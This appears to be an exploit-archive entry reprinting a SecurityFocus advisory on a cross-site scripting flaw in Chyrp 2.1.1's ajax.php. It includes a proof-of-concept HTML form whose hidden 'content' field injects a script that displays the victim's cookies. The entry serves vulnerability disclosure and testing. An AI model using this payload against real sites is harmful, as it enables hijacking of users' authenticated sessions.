Chyrp 2.1.1 – ‘ajax.php’ HTML Injection
source: https://www.securityfocus.com/bid/52115/info Chyrp is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input. Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. Chyrp 2.1.1 is vulnerable; other versions may also be affected. <form action="http://[host]/includes/ajax.php" method="post"> <input type="hidden" name="action" value="preview" /> <input type="hidden" name="feather" value="" /> <input type="hidden" name="field" value="" /> <input type="hidden" name="content" value='<script>alert(document.cookie);</script>' /> <input type="submit" id="btn"> </form> |